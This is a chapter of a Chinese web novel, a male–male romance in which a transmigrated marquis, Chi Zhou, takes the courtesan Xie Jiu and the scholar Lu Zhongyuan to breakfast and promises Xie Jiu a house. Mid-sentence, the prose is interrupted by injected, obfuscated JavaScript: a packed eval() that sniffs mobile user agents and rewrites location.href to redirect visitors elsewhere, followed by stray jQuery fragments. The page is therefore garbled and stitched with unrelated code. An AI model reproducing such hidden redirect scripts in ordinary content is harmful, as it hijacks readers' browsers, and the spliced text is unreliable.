池舟被他喊的浑身都不自觉颤了一下,酥了半边身子。
他穿越至今,跟谢究的相处比起所谓的恩客和小倌儿,更像铲屎官和猫。
哪一次不是他贴着笑脸去哄这只矜贵漂亮的大猫,何曾听过这人用这么软的声音唤他?
甚至叫的还是哥哥。
池桐叫他都没谢究这样,活像一个称呼在舌尖滚了千百次才辗转碾出来似的。
简直要含化了、揉碎了。
池舟怔了半秒,回过神来的时候下意识松开了一直攥着谢究手腕的手,往侧边退了半步,才道:“差点忘了出来是干嘛的了,走吧。”
谢究垂眸盯着池舟收在袖子里的手,意味不明地勾了勾唇,眸中闪过一丝阴戾。
陆仲元见这人变脸跟翻书似的,轻轻啧了一声,小声嘀咕:“这下对了。”
谢究一抬眼视线锁到他身上:“没你事了,滚回去吧。”
“嗐?”陆仲元瞪大了眼睛,想骂他又没敢真开口,索性一弯腰抱起了狗,张嘴就道:“那不行,你们这一大早把我吵醒,拍拍屁股就要走人吗?去哪儿吃,吃什么,带我一个。”
谢究睨他一眼:“别跟我说你身上又没银子了。”
陆仲元捏住小黑狗的前腿晃了晃,脸不红心不跳:“钱财乃身外之物,咱们之间还说这个做什么?”
池舟从方才的不自在中醒过来,闻言抬头看了看门扉,又透过半掩的门看了眼宅子里的树木回廊。
“住在这里还能没钱吗?”他很是好奇。
跟宁平侯府在同一条街上,虽说门扉小了些,但怎么看也是高门大户的样子,这人还能缺钱缺到一顿早饭都要蹭了?
陆仲元:“鄙人不才,穷得叮当响,前些日子刚辞了门房,不然也不会是我来给你们开门了。”
池舟:“……”长见识了。
他看了眼谢究,后者冷哼一声,道:“他养了一院子的猫狗,人都没口粮吃了,还要想方设法喂它们。”
池舟沉默地望向对方手里抱着的小黑狗,半晌,犹豫着问:“所以你不准啾啾弃养,是因为你养不活了?”
陆仲元玩小狗的手一顿,抬头望天:“啊,天气真好啊。侯爷,我们去哪儿吃?”
池舟:“……”话题转的就很生硬。
谢究说想吃点辣口的,池舟对锦都并不熟悉,陆仲元听完需求后,拔腿就往前领路,一边走一边滔滔不绝:“问我可就问对人了,这锦都城里哪家早点好吃,哪家小食一流,哪家酿的酒连皇宫都要派人采买,再没人比我更清楚了。”
池舟落后一步,听他这么说,眉头微蹙了蹙,心里浮现起一个略显荒唐的猜测。
然而下一秒,谢究便侧身贴在他耳边轻声道:“他是陆仲元,去年的榜眼,现在在翰林院任职。”
池舟脚下一顿,万万没想到猜测竟然成了真。
陆仲元此人,在原书前半部分份量挺重。
他算的上是谢鸣旌那为数不多的两三个好友中的一个,前期帮了主角很多。
之所以只在前半部分份量重,则是因为陆仲元在中期因为一场科举舞弊案遭人诬陷,被承平帝砍了脑袋。
池舟偏过头,凝视谢究几秒。
谢究向他回以对视,见他一直不说话,歪了下脑袋:“嗯?”
池舟心脏被萌了一下,立马转头,含糊不清地说:“啾啾,你认识的人挺多啊。”
此时太阳已然高悬,穿出小巷便来到车马云集、人群熙攘的长街。谢究闻言怔了一瞬,旋即轻笑开来,微低下头,凑到池舟耳边低声道:“侯爷,我只有你一个客人。”
呼吸擦过耳畔,池舟几乎瞬间就红了耳朵。
谢究低眸注视着那只逐渐变粉的耳廓,极力克制着自己才没顺势咬上一口。
长得那样可爱,又变成这般颜色,合该就是要被他含在嘴里细细舔舐研磨的。
但是天色太亮,长街太闹,池舟又太害羞,谢究不敢真低头去咬。
他只是注视着那片耳垂,用轻之又轻的声音问池舟:“你是在吃醋吗,侯爷?”
就像这人无数次逗弄他一般,用最直白的问询,向他要一个无关紧要的答案。
陆仲元回头看了他们一眼,想要说些什么,一见他俩样子,忙不迭就把自己脑袋转了过去。速度之快,差点将脖子都扭了筋。
池舟觉得有些不好意思,拍了下谢究胳膊,强装冷硬道:“你正经点!”
力道很轻,跟猫挠似的,谢究挑了下眉,挺想说哥哥又在恶人先告状。
最不正经的就是他了,竟还能反过来规训自己。
但他没说,毕竟池舟都上手打人了,想来已是恼得不轻,谢究可不想真把他逼成什么样。
但他退一步,池舟却没有。
这人见陆仲元已然走到街边一间面馆里,步子停了一下,像是刚想起来似的,问道:“我让人去琉璃月替你赎身,为什么不答应?”
谢究微怔,有些诧异,又有些意料之中。
毕竟这人每次忘了他再相见,都会给他安排一个格外可怜可悲的身世,然后不管不顾地踹开紧锁的房门一般闯进他的生活里,嚷嚷着要把他从这吃人的世界拽出去。
活像个打家劫舍的强盗。
这样的池舟,怎么会因为他在琉璃月上一句拒绝就放弃了救他?
很不道德,谢究想,他这样滥用池舟的同情隐瞒他、欺骗他很不道德。但他又实在很享受池舟哪怕在压根不知道他是谁的情况下,也对他抱有最大善意的特殊性。
好像从小到大,在这个人面前,他永远都是最特别的一个。
谢究弯了弯眼眸,温声道:“因为我给自己赎了身。”
池舟:“?”
谢究:“你这些年给了我很多钱,足够我赎身了。”
“啊……?”池舟张大嘴巴,呆呆地应了一声。
谢究替他掀开饭馆门帘,三人一狗便坐在了大堂角落。
陆仲元叫了三碗牛肉面并一碟熟牛肉,谢究和池舟那两碗放了足量的辣油,小碟子则放在了幼犬嘴边。
池舟很上道地从怀里掏出锭碎银子付了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785354|174858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钱,然后不声不响地搅起一大块面条就往嘴里送。
“嘶——”
筷子刚碰到嘴,池舟就被辣得嘶了一声,下唇痛感格外强烈。谢究给他倒了杯水放到面前,状似不经意地说:“吃不了辣的话换阳春面就好。”
“不用。”池舟果断拒绝,低下头卷了一大口面条塞嘴里,一边喝水一边吃面,等到一碗面吃完,上唇下唇全肿了一圈,压根看不出来哪里被人吮破过。
陆仲元早在见他们第一眼就看见池舟嘴上痕迹,但他没说,这时候见这情形,有些疑惑地看了谢究一眼。
谢究冷冷淡淡地跟他对视,手却接过池舟手里的杯子,又替他倒了杯温水。
“得。”陆仲元耸耸肩,懒得搭理这两人,把自己和小狗都喂饱,顺手拎着幼犬往谢究怀里一扔,冲池舟拱了拱手:“多谢侯爷款待,我还有公职在身,先走了。”
池舟正往嘴里猛灌水,等人走出面馆才反应过来,视线落到陆仲元脚下那双一走一啪嗒的木屐上:“他就穿这个去翰林院?”
谢究道:“他不修边幅惯了,在翰林院放了朝服,过去会换的。”
池舟放下心,起身往外走。
春日烂漫,早晨阳光照得人身上特别舒服,池舟几乎想回去再睡个回笼觉。
他眯了眯眼睛,打了个哈欠。
谢究跟在他身边,不知道他要去哪,就只是跟着。
走了半条街,池舟像是刚回过神似的,问他:“你现在住哪?”
谢究一怔,犹豫了两秒答道:“客栈。”
池舟眉心立时蹙了起来,提高音量重复:“客栈?”
“嗯。”谢究点头:“我的积蓄只够赎身,在锦都买不起宅子。”
“那你……”池舟想说些什么,又把话吞了回去,在路边随便抓了个人问最近的牙行在哪,领着谢究就往前走。
谢究跟在他身后又穿过一条街,才问:“你方才想说什么?”
池舟表情有些懊恼,低声道:“想说没地方住为什么不来找我,但是一想到这么多年我都没给你赎身,又觉得自己挺不是东西的,你不来找我也很正常。”
谢究怀里抱着狗,闻言半晌没吭声。
又走了一段,他问:“那你现在要去干什么?”
池舟答:“替你买套宅子。”
谢究:“你要养我吗?”
同样的问题,四天前发生在璇星河的画舫上,池舟给了肯定的答案,谢究说自己不信。
如今在锦都朗朗乾坤之下,他又一次问:“你会来看我吗?”
池舟脚步微顿,再抬步的时候,身侧的风吹落长街尽头的樱花。
他点头:“会。”
谢究摸了下小狗,修长白皙的指节没入漆黑皮毛中,指根的痣也被隐匿。
他们谁都没继续之前关于私奔的话题,谢究也只是轻声笑了笑,没再追问池舟,而是低下头用一种格外温柔的眼神看向那只被他嫌弃得不行的小黑狗。
池舟听见他在身后跟小狗轻声说:
“你有家了。”